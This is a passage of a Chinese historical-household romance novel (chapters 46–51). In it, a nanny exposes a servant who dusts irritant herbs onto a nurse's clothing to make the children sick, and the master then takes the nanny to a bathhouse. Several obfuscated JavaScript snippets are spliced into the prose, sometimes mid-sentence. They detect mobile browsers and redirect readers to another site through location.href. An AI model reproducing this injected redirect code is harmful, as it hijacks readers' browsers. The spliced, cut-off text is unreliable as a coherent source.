就在这时,一向看起来严厉庄重,之前对罗苒素来没什么好脸色的二太太,忽然开口了。 她不紧不慢地放下茶盏,声音不高不低,像是随口一提, “翠柳,你前些时日因为**霸凌,污蔑同僚被阿烬处罚,伤才刚好一些,便来告状,可真是费了心思。” 这话说得轻描淡写,可在场的人谁听不出来。 一个刚被罚过的人,这时候跳出来告状,是真心为小少爷着想,还是另有所图? 言下之意,不言自明。 罗苒微微侧目,看了二太太一眼,有些意外。 她没想到,这位素来对自己不假辞色的二太太,竟会在这时候替自己说话。 三太太目光在二太太和罗苒之间转了一圈,掩着帕子轻笑一声,语气里带着几分揶揄, “二嫂,你之前不是还瞧不上这奶娘吗?当时还差点将她和徐姨娘一同发卖,如今怎还为她说话了?” 二太太面色不变,端端正正地坐着,声音依旧不咸不淡, “就事论事罢了。” 她顿了顿,目光扫过罗苒,又收回来, “这奶娘虽然出身低微,但心思活泛,做事也还算稳妥,并不像是翠柳所言偷懒耍滑、敷衍了事之人。” 第46章 这一切实在太蹊跷了 三太太笑了笑,那笑意却没到眼底,语气里带着几分酸溜溜的味道, “二嫂这是记着人家之前的功劳呢,若不是她出的那个主意,晓晴哪能得那桩好姻缘?齐二公子那样的人才,如今可成了二房的女婿了……” 这话一出口,屋里安静了一瞬。 自打上回罗苒帮楚晓晴解了围,三言两语把一场风波圆成了孝顺懂事的好名声。 楚晓晴也因祸得福,博了武安侯府齐二公子的青睐,两家近日已经交换了庚帖,亲事也定了下来。 之前便传闻三房的楚时安对齐二公子也有几分心意。 如今齐二公子跟二房的楚晓晴订了亲,三太太心里那口气一直堵着,这会儿正好借着机会吐出来。 二太太看了三太太一眼,没接话,只端起茶盏又抿了一口,脸上的神情淡淡的,看不出什么情绪。 翠柳见她们把话题扯远了,连忙拉了回来,声音拔高了几分, “奴婢经过之前的责罚,已经知错了,但这件事,奴婢敢用性命担保,绝对是因为这奶娘刻意怠慢苛责了小少爷,才使其生了病。” 她抬起头,目光直直地看着老夫人, “老夫人和太太们若是不信,可以传府医来问,小少爷的病是不是已经持续了好些时日皆未转好。” 老夫人沉吟片刻,让人传了府医。 府医很快来了,一五一十地说了衍哥儿的病情。 身上起了红疹,痒甚,用药后效果不彰,甚至还有严重的迹象,至于病因,目前确实还不得而知。 翠柳立马添油加醋道,“老夫人您瞧,若这奶娘真心待小公子,怎能到如今还不知道小公子发红疹的病因,想来平日便是不上心的。” 老夫人的脸色彻底沉了下来。 她看着罗苒,声音里带着压不住的怒意 “你就是这样当奶娘的?衍哥儿病成这样,你竟连原因都查不出来?亏我之前还觉得你是个稳妥细心的,真心待衍哥儿好,如今看来,果然是日子久了,开始懈怠了!” “既然如此,你这奶娘不当也罢!” 罗苒慌忙跪下,眼眶红红的, “老夫人息怒……奴婢不敢有半分懈怠,衍哥儿这几日不舒服,奴婢日夜守着,比谁都心疼……” “若是老夫人觉得奴婢不配当这个奶娘,奴婢无话可说,只是衍哥儿现在病着,正是需要人陪的时候……” 她顿了顿,声音低了下去,带着几分哽咽, “奴婢实在舍不得他……” 一旁的二太太拿起茶盏又抿了一口茶,声音稳稳地又开了口, “老夫人,阿烬出门前对这奶娘还算满意,若是趁他不在府里就把人处置了,回头他回来问起来,也不好交代。” 她看了罗苒一眼,语气缓了缓, “再者,病着的孩子确实都格外粘人难哄,这奶娘带了他大半年,也确实最了解他的情况,若是贸然换了人,孩子身心恐会更难受。” “依我看,当务之急不是处置谁,而是先找出衍哥儿起红疹的原因,好对症下药,省得孩子继续受罪。” 老夫人沉吟了一会儿,看了罗苒一眼,声音冷了几分, “也罢,我暂且收回成命,但你给我想办法找出衍哥儿起红疹的原因,若是找不出来,就别怪我不讲情面。” 罗苒伏在地上,慌忙谢恩, “是,谢老夫人开恩,奴婢一定找出原因。” 一旁的翠柳眼底闪过一丝不甘,但到底没敢再说什么。 罗苒站起来,垂着眼退出正厅。 出了门,夜风扑在脸上,凉飕飕的,她才发觉后背已经被冷汗浸透了。 她深吸一口气,快步往衍哥儿院走。 她心里清楚,这件事没那么简单。 回到院里,小玥和衍哥儿都在哭,两张粉雕玉砌的小脸涨得通红,小手不停地抓着身上,抓得皮肤都破了。 李婆婆刘婆婆一人抱着一个回踱步,急得满头是汗。 罗苒快步上前,两个娃接过来,搂在怀里。 小玥和衍哥儿一闻到她的味道,果然都不哭了,小手一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454561|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左一右攥着她的衣襟,紧紧地。 罗苒低头看着他们,心疼的泪花都出来了。 但她却知道,现在不是落泪的时候。 当务之急还是要找出原因,对症下药才能让他们少受些罪。 罗苒轻轻拍着他们的背安抚,脑子里却在飞速地转着。 发现衍哥儿起红疹的时候,她就把衍哥儿房间里所有的衣物用品都重新检查换洗了一遍。 这段时间接触的也都和之前一样。 衍哥儿的辅食更不可能有问题,思前想后实在没有什么可怀疑的地方。 难不成是自己奶水问题? 她低头想了想,小玥前些时日已经自然离乳,若真是奶水问题,她又怎会也起了红疹,想来也并不是奶水的问题。 那到底是怎么回事? 这一切实在太蹊跷了。 两个孩子的红疹来得突然,明显像是有人刻意为之。 偏偏是在楚烬刚走没几天的时候发作,偏偏翠柳就掐着这个时机来告状…… 罗苒心里渐渐有了一个模糊的轮廓。 她没有声张,只把衍哥儿哄睡了,交给李婆婆,说自己去库房对账。 她去了翠柳如今当差的地方,大院的杂物间。 翠柳被降为最低等丫鬟后,除了打扫外院,每日还要负责清洗抹布、整理杂物。 罗苒站在门口,看着正在搓抹布的翠柳,轻轻咳了一声。 翠柳听到声音,手一顿,转过头来,看见是罗苒,脸上神情顿时狰狞起来。 罗苒只当没看到她那要将她扒皮抽筋般的目光,表情如常,抬了抬手里的旧账本,声音沉静, “我来是想跟你聊聊交接的事,之前的账本,还有几笔账对不上。” 翠柳冷笑一声,阴阳怪气地开了腔, “罗娘子真是有事业心,衍哥儿院都那样了,还想着手头的账呢,你就嘚瑟几天吧,过几日若还是查不出衍哥儿的病因,可就要问罪了。” “到时候指不定被发卖,连带着你那个赔钱货,一起送窑子去。” 第47章 想爷想成这样? 罗苒没有恼怒,只是淡淡地看着她,声音不紧不慢, “那翠柳姑娘可是要失望了,府医刚刚又去仔细检查了,说可能只是夏季花粉过敏,过几日就好了。” 她顿了顿,嘴角微微弯了弯,刻意扬起一抹挑衅的笑, “到是翠柳姑娘,之前给大爷留了那等印象,这抹布怕是要洗一辈子了。” 翠柳的脸色变了,她把手中的抹布猛地一扔,脏水溅了罗苒一裙角。 罗苒顺势后退了一步,目光却紧紧缩着翠柳脸上的神情。 只见翠柳站起来,叉着腰,气急败坏地扯着尖细的嗓子叫骂道, “你个臭**,嘚瑟什么?仗着那狐媚子样勾引了大爷,就以为高枕无忧了?我告诉你,想得美!” “你且看吧,衍哥儿那红疹几日能好,我跟你姓!我洗抹布,也比你到时被发卖了去当窑姐儿强!” 罗苒不动声色地看着她那势在必得的模样,心中越发确定,这事定是她搞的鬼。 没有再接话,她只淡淡地看了翠柳一眼,不顾她满嘴难听的脏话,自顾自转身离开。 罗苒回到衍哥儿院,仔细地察看了衍哥儿和小玥的情况。 好不容易将两个不舒服的孩子都哄睡,外面已经夜深人静了。 她提着一盏小灯笼,悄悄往翠柳住的屋子走去。 翠柳如今住在大院最角落的一间小偏房里,屋子破旧,门口堆着杂物。 月光照不进去,只有罗苒手里那盏小灯笼,在黑暗中摇摇晃晃地亮着。 她绕到屋后,那里有一个破竹筐,是翠柳扔垃圾的地方。 她蹲下来,用一根小树枝拨开竹筐里的杂物。 一股馊臭味扑鼻而来。 她忍着恶心,仔细翻找。 忽然,她树枝好似碰到了什么,定睛一看竟是个油纸包。 她小心翼翼地把纸包拨出来打开。 里面是一小堆干枯的植物碎屑。 仔细辨认下来竟是生半夏和毛茛两种草药。 罗苒的心猛地沉了下去。 她从前在山里采药,对这些草药再熟悉不过。 皆是常见的能引起红疹瘙痒甚至溃烂的草药。 这两种药都不算剧毒,但小孩皮肤细嫩,一旦接触,便会起大片红疹,痒得钻心。 若不及时处理,反复抓挠,皮肤溃烂,甚至会危及性命。 而且,这些药渣还带着淡淡的湿气,分明还是新药。 若是新药平白无故扔了做什么? 罗苒攥着那个油纸包,手都在发抖。 果然是翠柳。 罗苒心里愤怒至极。 两个孩子这么小,什么都不懂,什么都不会说,只会哭,身上满是红疹又痛又痒,整日整夜吃不下睡不好,她怎么下得去手? 愤怒归愤怒,罗苒还是努力让自己冷静下来。 衍哥儿用药后一直没有好转,说明他还在持续接触这些药物。 可翠柳如今这样一个最低等的洒扫丫鬟,自始至终没有来过衍哥儿院,更不可能接触衍哥儿的衣物和饭食。 那她到底是怎么下的药? 又是将药下在了哪里? 生半夏和毛茛皆是常见的草药,仅仅是拿着这个去指控,没有确切的下药证据,她断然不可能会承认。 罗苒心事重重,往院里走。 夜风从回廊那头灌进来,吹得廊下的灯笼摇摇晃晃,光影在地上碎成一片,她低头看着那些晃动的影子,脑子里一团乱麻。 刚跨进衍哥儿院的月洞门,眼角余光忽然瞥见一道黑影从廊下闪过,一闪身便钻进了衍哥儿的屋里。 罗苒心头猛地一跳。 那黑影动作极快,看不清身形,只隐约觉得是个高大的男人。 这个时辰,怎么会有人鬼鬼祟祟地进衍哥儿的屋子? 她脑子里闪过无数个念头。 有贼?还是翠柳的同伙? 她来不及多想,慌忙快步追了进去。 屋里只在角落里点了一只烛台,灯光昏暗,守夜的李婆婆也不知去处。 罗苒刚迈过门槛,还没来得及开口喊人,一只手忽然从暗处伸出来,扣住她的手腕,猛地一拽。 她整个人被拽进一个结实的怀抱里,鼻尖先闻到一股熟悉的气息。 冷松香混着淡淡的血腥气,还有风尘仆仆的泥土味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚烬笑了一声,抬手揉了揉她的头顶,粗糙的掌心贴着她的发丝,慢慢滑下来,带着一种让人安心的力道, “政王那边已经救出,匪也彻底剿灭了。” 第48章 谁还敢有那胆子欺负你 罗苒诧异地瞪大了眼睛。 从帝都到陇州,驾马而行要整整三日,一来一回便要六日。 就算快马加鞭也需要两日,仅剩一日时间,怎么可能将那盘根在陇州多年的悍匪剿灭? 她瞪着那双红通通的眼睛,惊疑地望着楚烬,眼底满是不可置信。 楚烬瞧着她那副模样,眼底还是笑意,声音不紧不慢的, “营头小匪,围剿只需半日。若不是政王非要拉着我诉说感谢之意,我何至这么晚才归来。” 罗苒听着,好不容易止住的眼泪又落了下来。 她瘪着嘴,想着一歇也不歇快马赶回的楚烬,心里说不出的滋味。 她低下头,声音闷闷的, “大爷责罚奴婢吧……奴婢没有照顾好衍哥儿……” 被罗苒提及,楚烬这才想起去察看衍哥儿的情况。 走到床边,低头看着熟睡的衍哥儿和小玥。 两个孩子并排躺在榻上,小脸胳膊和脖颈上,密密麻麻的红疹还没有完全消退,有的地方被他们自己抓破了,结着暗红色的痂。 小玥睡梦里还在无意识地蹭着被子,小眉头皱着,嘴里哼哼唧唧的。 楚烬的目光沉了下来,眼底腾起浓重的冷意。 他转头看向罗苒,声音低了几分, “到底怎么回事?” 罗苒深吸一口气,把这几日的事细细说给他听。 又将对翠柳的怀疑和从她那里翻出的药屑给楚烬看。 楚烬查看过后,眉头皱了起来,声音沉冷道, “一个小小奴婢竟这般胆大恶毒,我这就命人将她抓起来细细审问。” 罗苒却摇了摇头,声音认真道, “大爷,这里是府上,不是军营,若是没有直接证据只是猜想贸然抓起,怕是会不妥……” “再者,如今最重要的是找到下药的地方,若翠柳一直不说,衍哥儿和小玥的红疹症状就会一直持续,受罪的还是他们……” 楚烬看着她,忽然不说话了。 上一刻还哭得眼睛红通通的小娘子,如今却一本正经地分析利害,眉眼间带着一股子从没见过的认真劲儿。 她就那样站在自己面前,腰背挺得直直的,说话时条理清晰,句句在理,哪有半点之前那只会哭泣求饶的小寡妇模样? 他觉得有趣,又觉得可爱,忍不住夸赞道, “苒娘怎感觉变了一些?以往只知道哭泣求饶,这件事上竟这般精明利落,竟然懂得用激将法试探翠柳,甚至还发现了她扔的药材,真是好生厉害……” 罗苒被他夸得脸一下子红了,从耳根烧到脖颈。 她低下头,声音小了几分,却还是一本正经的, “事关孩子们,奴婢自然要尽心竭力。” 楚烬看着她那副红着脸还要强撑着正经的模样,嘴角的笑意深了几分。 他似是忽然想到了什么,眼底闪过一丝幽光,慢悠悠地开口, “若要顾虑你说的那些,倒也有一个办法可行。” 第二日,楚烬回来的消息一大早在府里传开了。 一起传开的,还有衍哥儿红疹好转的消息。 大院里的人都说,衍哥儿只是有些花粉过敏,涂了相应的药便有起色了,并非罗苒怠慢苛责。 楚烬听说罗苒被老夫人误解,差点被赶走发卖,作为补偿当即赏了好些东西给她,一件比一件贵重,送到衍哥儿院时,那些下人婆子都看直了眼。 随后他才把这件事的始作俑者翠柳传了过来。 翠柳进来时,楚烬正坐在太师椅上扭头跟身旁的罗苒低语着什么,目光带着柔和的笑意,与看向翠柳时的冷厉判若两人。 翠柳瞧着这样的楚烬心里又慌又恨,待她战战兢兢行了礼,楚烬才抬起眼皮,声音不轻不重, “听说,你前几日在老夫人面前说苒娘苛待孩子,导致孩子生病?” 翠柳压着心中惧意,“奴婢……奴婢只是实话实说……” “实话实说?” 楚烬把茶盏往桌上一搁,“啪”的一声脆响,翠柳的肩膀缩了一下。 “府医已经查清楚了,衍哥儿只是花粉过敏,涂了药便好了,你倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翠柳硬撑着,也不知是气的还是怎样,声音发着抖,却不肯低头, “好转兴许只是假象,还是会继续加重的……” “你休要再胡说。” 楚烬的声音沉了下来,带着几分不耐, “衍哥儿的红疹已经消了大半,怎么可能还会加重?” 他顿了顿,目光扫过罗苒,话锋一转, “若真的加重,那就说明不是过敏,那便要说道说道了。” 罗苒见状,眼底闪过一丝恰到好处的惊慌,像是被吓到了,声音带着几分怯意, “大爷明鉴,衍哥儿已经转好,自然不会加重。若是加重……奴婢便自请离开楚府。” 楚烬看了她一眼,声音放柔了几分, “我自然是相信罗娘的。” 他转头看向翠柳,脸上的柔意瞬间收尽,换上了不耐烦的冷厉, “以后不准再听风捕影、胡言乱语。若有下次,直接撵出府去。” 他挥了挥手,像赶一只苍蝇。 翠柳跪在地上行了礼,看着楚烬明显的偏袒宠爱,眼中恨意妒意越发浓烈。 果然,到了下午,安插在翠柳那边的侍卫便匆匆来报, “大爷,人赃并获。” 楚烬和罗苒赶到时,翠柳正被两个侍卫按在地上,面前散落着一件外衫。 竟是刘婆婆常穿的那件外衫。 侍卫上前禀告, “属下奉大爷之命盯着翠柳,午后见她鬼鬼祟祟往刘婆婆院里走,从衣袖中掏出药粉往这晾晒的衣衫上洒。” 说着,侍卫递上一个油纸包,打开,里面是黄褐色的药粉,正是生半夏和毛茛磨成的细末。 人赃并获,一切真相大白。 原来,翠柳被降为最低等丫鬟后,心中的怨恨非但没有消减,反而一日日的发酵膨胀,一心只想找机会将罗苒赶走。 她知道如今自己身份低微,随意进不了衍哥儿院,更不想引人怀疑,便想出了一个自认为天衣无缝的办法。 她将生半夏和毛茛磨成细粉,趁着夜深人静,偷偷洒在刘婆婆晾晒的衣衫上。 这两种药材毒性不大,大人皮肤粗糙,碰了没什么事,顶多微微发红,不痛不痒。 但小孩皮肤细嫩,一旦接触到沾着粉末的衣物,便会瘙痒、起红疹,反反复复,总不见好。 刘婆婆每日都要抱衍哥儿,药粉便从她衣服上沾到衍哥儿身上。 翠柳知道楚烬对罗苒态度不同,便特意选在楚烬不在的时候下手,以为这样就能通过老夫人之手,让罗苒以失职苛待主子的罪名被赶走发卖。 可她没想到,罗苒比她想象的要聪明,楚烬比她想象的要回来的还要快。 翠柳跪在地上,浑身发抖,脸色灰败得像一块旧抹布。 她鼓起勇气抬起头,本想求饶,却看到了面前并肩站立的二人。 楚烬冷硬森然,罗苒沉静镇定。 这一瞬间她忽然明白了什么。 从楚烬赏赐罗苒,当众羞辱她的那一刻起,她就落进了他们设好的圈套里。 那些金贵的赏赐、那些亲密的举动、那些暗里明里的挑衅,都是故意做给她看的。 为的就是激她出手,让她被嫉妒仇恨蒙蔽双眼,失了理智自投罗网。 翠柳瘫坐在地上,像一摊烂泥,原本到嘴的求饶再也说不出一个字来。 楚烬表情阴冷,居高临下地看着翠柳,声音沉得不寒而栗, “当初念在你伺候多年,才勉强让你留下,可你非但没有知错,反而想出这般阴狠的手段残害年幼孩童,试图再次陷害污蔑别人……甚至一向慈悲为怀的老夫人也差点被你利用,实在可恶至极!” 楚烬抬眼,扫了一眼身后的侍卫, “拖出去,鞭挞五十,若未致死,再送往府衙,依律论处!” 这话一出,周围人倒吸一口凉气。 翠柳这才想起求饶,她抖着身体朝着楚烬一个劲地磕头,额头磕在青砖上咚咚作响, “大爷,我错了,我再也不敢了!念在我伺候您这么多年的份上,饶了我吧,大爷……” 楚烬不为所动,面无表情地抬了抬手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456679|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>侍卫上前,拉住翠柳的胳膊往外拖。 翠柳见再无转圜余地,索性破罐子破摔的放开了。 她拼命挣扎着,眼睛通红,恶狠狠地盯着楚烬身边的罗苒,声音尖锐刺耳地对着她吼, “我跟在大爷身边这么多年,勤勤恳恳,大爷却不看我一眼!你这**只来了几个月,装出那副娇柔可怜的样子,就勾得大爷失了魂!” “你一个年过二十**男人带着拖油瓶的老东西,凭什么可以?我一个清清白白的大姑娘,凭什么就不行?” “你这种早就被男人睡过的烂货,就该找个糟老头子嫁了,清苦一生,就该被人人笑话人人唾骂才是!” 楚烬看着翠柳失心疯般的叫骂,眼底风暴渐渐凝聚。 他嘴唇微动,刚要发作却没想到一直未吭声的罗苒忽然往前迈了一步。 她腰身单薄却挺得笔直,表情沉静,那双漂亮的桃花眼清亮透彻,毫不避讳地直视着翠柳。 “我是成了亲当了母亲,那又怎样?难道一个女人成了亲、生了孩子,就该被贬得一文不值?是谁规定,女子的价值只在未婚之前?” 她顿了顿,声音不大,却清清楚楚地落在在场每个人耳朵里, “都说男子三十而立,那女子为何要那么早放弃自己?” 罗苒看着翠柳,目光里没有厌恨之意,神情依旧平静淡然。 从前在来楚府之前,她也和翠柳想的一样,觉得女子成了亲一辈子便只能这样了,只能依附丈夫依附婆家才能活下去。 当初得到侯建功死讯的那一刻,她只觉得天都塌了。 可后来她才发现,就算男人**,被婆家赶出来,她也不是绝无生机。 她可以上山挖草药,可以给别人浆洗衣服,可以卖刺绣,甚至可以带着孩子背井离乡千里迢迢来寻求生路。 像如今,不但没有越来越糟,反而还越过越安稳。 这世上,从来没有哪条规矩说,一个女人到了什么年纪、成了什么身份,就不配再追求更好的自己。 第50章 你上衣湿透了 罗苒最后看了翠柳一眼, “一个人的价值,从来不该被她的婚史、年龄、身份定义,你觉得自己是清清白白大姑娘就该被高看一眼,可你有没有想过,那些成了亲、生了孩子的女人,她们也曾经是清清白白的大姑娘,她们只是走了不同的路……” ”她们不该被贬低,不该被嘲笑,更不该被那些刻薄的话和认知踩进泥里。” 罗苒语气依旧轻软,可那话却像带着分量。 翠柳被拖了下去,尖叫声越来越远,院子里渐渐安静下来。 楚烬站在原地,看着罗苒挺直的背影,眼底的神情变了又变。 这个在他印象里只会低着头掉眼泪,受了委屈也不敢吭声的小娘子,方才那番话却说得掷地有声,不卑不亢。 她腰背挺得笔直,眼睛亮得像山间的泉水,一字一句,像是在替所有被这世道亏待过的女人说话。 不知为何,胸腔内似有涟漪一圈一圈地荡开,怎么都停不下来。 衍哥儿和小玥没有继续接触药粉后,红疹迅速地消了下去 府医对症开了药浴,每日泡上小半个时辰。 罗苒和婆婆们给两个小家伙洗澡,在浴桶里放满了温水,撒上药草,热气氤氲,满屋都是浓浓的草药味道。 小孩子都喜欢玩水,进了浴桶里就彻底撒了欢。 水花四溅,罗苒被溅了满身水。 头发湿了,衣襟也湿了,可她看着两个孩子重新恢复了精神,心里那根绷了许久的弦终于松了。 索性挽起袖子,跟他们一起玩起来。 楚烬来的时候,老远就听见屋里传出的嬉笑声。 他推门进去,热气扑面而来,满屋都是水雾,朦朦胧胧的。 罗苒正弯腰去捞飘远的水瓢,身上的夏衫轻薄,沾了水便贴在身上,勾勒出细细的腰身和浑圆的轮廓。 她头发湿了大半,几缕碎发贴在脸颊边,水珠顺着发梢往下淌,滴在锁骨上,顺着那截白腻的皮肤滑进衣领里。 弯腰时,领口微微敞开,白灿灿的一片,晃得人眼晕。 罗苒听见动静,抬起头,见是楚烬,便起身走到门口,笑盈盈地喊了一声, “大爷。” 她身上还在滴水,湿透的衣衫贴着身子,曲线毕露,她自己浑然不觉。 楚烬目光不动声色地从她沾着水汽的锁骨上扫过,喉咙滚了一下,沉沉地应了一声,又问道, “衍儿和小丫头怎么样了?” 罗苒回头看了一眼浴桶里还在跟李婆婆拍水玩的两个孩子,眉眼弯弯的,语气也松快了许多, “大夫给开了药,又泡了药浴,红疹褪去大半了。再用上一日药,应该就无碍了。” 她说着,抬手将垂在脸侧的湿发别到耳后,水珠甩出去,有一滴落在楚烬的手背上。 楚烬只觉得那水珠似乎还带着这小娘子体温的热度。 目光还是忍不住扫了一眼她被湿透的衣衫,目光沉下,正要开口再说些什么…… 身后不远处传来“哎呦”一声闷响,紧接着是什么东西洒落在地的哗啦声。 罗苒扭头一看,是送热水的下人。 他不知怎的撞到了柱子上,手里的水桶飞出去,热水洒了一地,雾气腾腾。 他捂着额头蹲在地上,脸色涨得通红,鼻血都撞出来了,顺着手指往下淌。 罗苒认得他,是厨房的小打杂王三宝。 平日里她去厨房给衍哥儿拿餐食,常跟他打交道,是个老实憨厚的少年,见了她总是脸红,话都说不利索。 “三宝,你没事吧?” 罗苒上前几步,弯下腰去看他的伤势。 三宝抬起头,鼻子下面挂着两道血痕,嘴里说着“没事没事”,眼睛却不自觉地瞥了一眼罗苒。 也不知道目光瞥在了哪里,脸“唰”地红到了耳根,鼻血反而流得更凶了,滴滴答答地落在地上。 罗苒看他那副模样,心里有些着急,伸手要去扶他, “你怎么了?要不要去看府医?是不是很严……” 话没说完,她的手腕忽然被一只大手攥住。 那只手粗糙滚烫,力道大得惊人,把她整个人往后一带。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17457923|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她踉跄了两步,后背撞上一堵硬邦邦的胸膛,鼻尖先闻到一股熟悉的冷松香。 楚烬高大的身躯挡在她和王三宝之间,把她的视线遮得严严实实。 他的目光冷冷地扫过蹲在地上的王三宝,那眼神像刀子似的,只淡淡一眼,王三宝的腿就软了,连滚带爬地站起来, “大,大爷……” 楚烬眼底带着几分了然,沉着声道, “冒冒失失的,去管家那里领罚。” “是,是……” 王三宝连头都不敢抬,捂着鼻子连滚带爬地跑了。 罗苒还在疑惑,探出头去看王三宝狼狈跑开的背影,嘴里不由小声疑惑, “他到底怎么了?鼻子撞得那么严重……” 说话间,又有人来的脚步声在廊下响起,由远及近。 罗苒还没来得及看清来人,原本背对着门的楚烬猛地转过身。 一只手揽住她的腰,另一只手撑在她身后的门板上,将她整个人严严实实地挡在自己和门之间。 罗苒吓了一跳,鼻尖蹭到他胸膛上柔软的布料,她本能地想往后退,后背却抵上了冰凉的门板,退无可退。 两个人贴得太近了,近到她能感觉到他胸膛的温度透过湿透的衣衫传过来。 “大爷……您这是做什么?” 她的声音带着几分慌张,脸不由红了几分,手抵在他胸口,推了推,纹丝不动。 楚烬低头看着被困在怀里的女人,目光从她湿漉漉的睫毛滑到她微微张开的唇,又落回她那双水蒙蒙带着几分惊慌的眼睛里。 他声音低沉好听, “你上衣湿透了。” 罗苒被提醒,低头看了一眼,这才发现夏衫紧贴着身子,丰盈的轮廓清清楚楚,甚至还能看见浅浅的沟壑。 她小声惊呼,慌忙抬手挡在胸前,脸烧得更加厉害。 这才反应过来,楚烬突然转身挡在她面前,是怕她被来收拾残局的下人们看见这副模样。 她垂着头,红着脸小声道谢, “多,多谢大爷提醒……奴婢去换件衣裳。” 第51章 孩子都生过了,有些困难忍忍应该能克服吧 楚烬却纹丝不动,丝毫没有要让开的意思。 罗苒看着她湿透的衣衫很快把楚烬上身的衣料也洇湿了一片,心底不知怎么就觉得有些慌了,手上更加用力地推了推那结实的胸膛, “大爷……麻烦您让让……你这样……把您的衣裳也弄湿了……” 楚烬低头看着被自己困在身前的小娘子…… 她垂着头,耳根红透了,连着脖颈都泛着粉,像三月里刚开的桃花,从脸颊一路开到领口里。 他的目光在她低垂的睫毛上停了一瞬,声音沉了几分, “是啊,弄湿了,还有股草药味,难闻。” 罗苒连忙解释, “是药浴里草药的味道,大夫说想要效果好,便多放了些药,味道就重了……” 她顿了顿,又补充道, “不过这草药粘在身上衣服上虽然味道重,但很容易清洗的。” 楚烬的眼底闪过一丝暗光,声音慢悠悠的, “哦?即使这样,身上的味道沐浴后味道就消除了?” 罗苒慌忙点头, “是的,大爷沐浴更衣便好……给您弄湿的衣服,奴婢帮您清洗干净,保证不会有残留的草药味道……” 那精致的小脸毫无防备,浑然不觉自己这副模样落在楚烬眼里有多招人。 楚烬慢悠悠地继续道,声音里带着几分意味深长, “弄湿的衣裳可以清洗,那给爷弄到身上的呢?便不用清洗了?” “啊?”罗苒仰起头,瞪大眼睛,一时反应不过来。 楚烬微微俯身,凑近了几分,鼻尖几乎要蹭上她的额头。 他看着罗苒那双惊疑不定的眼睛,眼底的笑意和某种更深更浓的东西交织在一起,愈来愈浓郁。 声音低哑,带着一种让人腿软的暧昧, “其实后院有处汤池,那里的泉眼常年冒着温水……只是池子太大,一个人洗太过空旷无趣,所以我通常一人沐浴时并不会去那里……” 他眼底玩味的笑意越来越浓,罗苒总算后知后觉地意识到楚烬要做什么了。 她瞪大眼睛,瞳孔猛地放大,还没来得及说出一个字,腰上已经一紧…… 楚烬搂着她的腰,轻轻一提,把她整个人扛上了肩膀,双脚顿时离了地。 “大爷!” 罗苒慌了,推也推不开,挣扎也挣不了,又不敢高声喊,怕被别人看见,只能涨红着脸压低声音, “大,大爷……衍哥儿和小玥还没洗完澡……” 话音刚落,房间窗户里飘来李婆婆带着笑意的声音,中气十足, “罗娘,你安心伺候大爷沐浴吧,两个小家伙我照看着呢!” 罗苒只觉羞窘到无地自容,整个人像一条被拎出水面的鱼,徒劳地扑腾了两下,最后还是软了下来,只是脸到脖子根都已经红透了。 楚烬托抱着她,脚下速度却又快又稳,大步流星地穿过回廊,拐进后院的浴堂。 门在身后合上的那一刻,外头的喧闹被隔绝在外,取而代之的是一室氤氲的水雾和温热的湿气。 罗苒下意识抬眼看去,这是她第一次看到天然温泉池。 池子很大,足有一间屋子那么阔,池水清澈见底,热气袅袅升腾,水面泛着细碎的波纹。 池边的龙头雕刻得繁琐精致,温热的泉水从龙口中缓缓流出,潺潺水声在空旷的浴堂里回荡。 地面上铺着防滑的石板,旁边整齐地叠放着干净的衣袍和巾帕,显然即便楚烬不常来,依旧有人时常打扫。 楚烬弯腰将她放下,罗苒双脚终于再次着地。 身旁便是冒着水汽的池水,热浪扑面而来,湿漉漉的雾气裹住她的皮肤。 也不知是不是室内温度太高,她什么都没做,额角已经沁出细密的汗珠,后背的湿衣裳黏在身上,又潮又闷,呼吸都变得有些费力。 楚烬看着她,眼神沉沉,像深潭里燃着一簇暗火,声音低哑, “愣着做什么?过来,更衣。” 罗苒犹豫了一瞬,还是往前迈了一步。 她垂着眼,手指微微发颤,伸出去帮他解腰间的系带。 她不是什么不谙世事的少女,孤男 